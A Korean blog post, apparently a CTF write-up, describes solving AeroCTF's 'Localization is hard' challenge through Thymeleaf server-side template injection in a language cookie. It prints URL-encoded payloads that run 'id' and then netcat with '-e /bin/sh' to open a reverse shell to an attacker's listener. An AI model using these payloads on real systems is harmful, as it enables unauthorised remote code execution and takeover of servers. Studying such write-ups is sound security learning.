본문 바로가기

CTF/CTF 문제풀이

[CTF][AeroCTF] Localization is hard

 

 

이번에는 Aero CTF 도중에 풀지는 못했지만, 접근 방법 자체는 맞았던 문제에 대한 풀이를 라잇업을 읽고 정리해보고자 한다.

 

우선 Localization is hard는 웹 문제인데, 이 문제에 대한 키워드는 SSTI, Thymeleaf, RCE, netcat 이 4가지로 정리할 수 있다.

 

일단 우리 팀이 대회 도중 접근 방법 자체는 맞았다. 선배님들이 말씀하셨듯이 이 문제 웹사이트에 접속해보면, cookie에 en과 ru라고 저장되어 언어가 바뀌고, 이 cookie를 대상으로 injection을 해주면 풀릴 문제였다.

 

이 cookie의 값을 임의의 값으로 바꾸면, Internal Server Error 500과 함께 "org.thymeleaf.exceptions. TemplateInputException"라는 에러 메시지가 뜬다.

 

해당 에러 메세지를 통해 SSTI 공격이 가능하다고 추정할 수 있었고, Thymeleaf에 SSTI 공격을 하는 방법에 대해 찾아보면 됐다.

 

github.com/veracode-research/spring-view-manipulation

veracode-research/spring-view-manipulation

When MVC magic turns black. Contribute to veracode-research/spring-view-manipulation development by creating an account on GitHub.

github.com

그래서 해당 깃헙 레포를 찾았고, 나는 위 링크의 README만 대회 도중 다섯번 읽어 본 것 같다 ,,,ㅎ

 

이외에도 book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#thymeleaf-java 이 사이트도 SSTI를 이해하는데 도움이 되었다. 

 

SSTI는 Server-side template injection를 의미하고, 공격자가 server-side template에 코드를 inject하면 된다. 

그리고 이 문제에서는, template engine이 Thymeleaf였다. 참고로 Java template engine이다.

코드를 inject하면, remote code execution(RCE)를 일으킬 수 있다.

 

Thymeleaf에서 SSTI 공격을 위해 사용되는 코드를 찾았다.

lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

 

java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()URL 인코딩 되어있는 것이다. exec()함수는 외부 프로세스를 실행시키는 함수이다. 어떤 사이트 예제에는 exec("calc")라고 되어있길래 선배한테 물어보니, 해커들이 전통적으로 RCE를 할때 계산기를 실행시켜보기 때문이라고 하셨는데 흥미로웠다.

 

여기서부터 막혔었다. 저 exec함수 안에 명령어가 무엇이 들어가야 하나 고민했었는데, 네트워크 통신을 하려면 netcat 명령어를 사용해야하지 않을까 생각을 해보았다. 정말 생각만 했다.

 

라잇업을 읽어보니, 이렇게 바꾸면 됐다.

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22nc%20ip 주소%20 포트 %22).getInputStream()).next()%7d__::.x

lang cookie 값을 위와 같이 바꿔주어 connection을 보내주고, nc -lp 포트 -vvv 명령어로 listen해주면, connect가 성립된다는 것을 확인할 수 있다.

 

그다음부터는 netcat이 작동된다는 것을 확인했으니 netcat option으로 shell을 획득하면 된다! 

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22nc%20ip 주소%20 포트 주소 %20-e%20/bin/sh%22).getInputStream()).next()%7d__::.x

netcat option -e를 써서 nc -lvp 포트 -e /bin/bash 라는 명령어를 입력해주고 해당 포트로 listen하면 shell을 획득할 수 있게 해준다.

 

따라서 위 코드를 cookie에 inject 해준뒤, nc -lp 포트 -vvv를 통해 netcat에서 listen해주면 문제가 풀린다...

 

 

솔직히 말해서 굉장히 아쉬운 문제다. 그런데 내가 netcat을 쓰면 되지 않을까 생각만 하고 시도를 안 해봤다는 것은, 그만큼 내가 netcat 사용에 익숙하지 않아서 (몇번 안 써봐서) 발생한 문제인 것 같다. 따라서 더 열심히 많은 문제를 풀다보면 언젠간 이런 문제도 쉽게 풀 수 있지 않을까 라는 생각이 들었다!

'CTF > CTF 문제풀이' 카테고리의 다른 글

Incognito CTF 2022 writeup  (0) 2023.04.01
ShaktiCTF 2022 16위! CTF writeup  (0) 2022.12.11
Power of XX 2022 준우승!  (1) 2022.11.29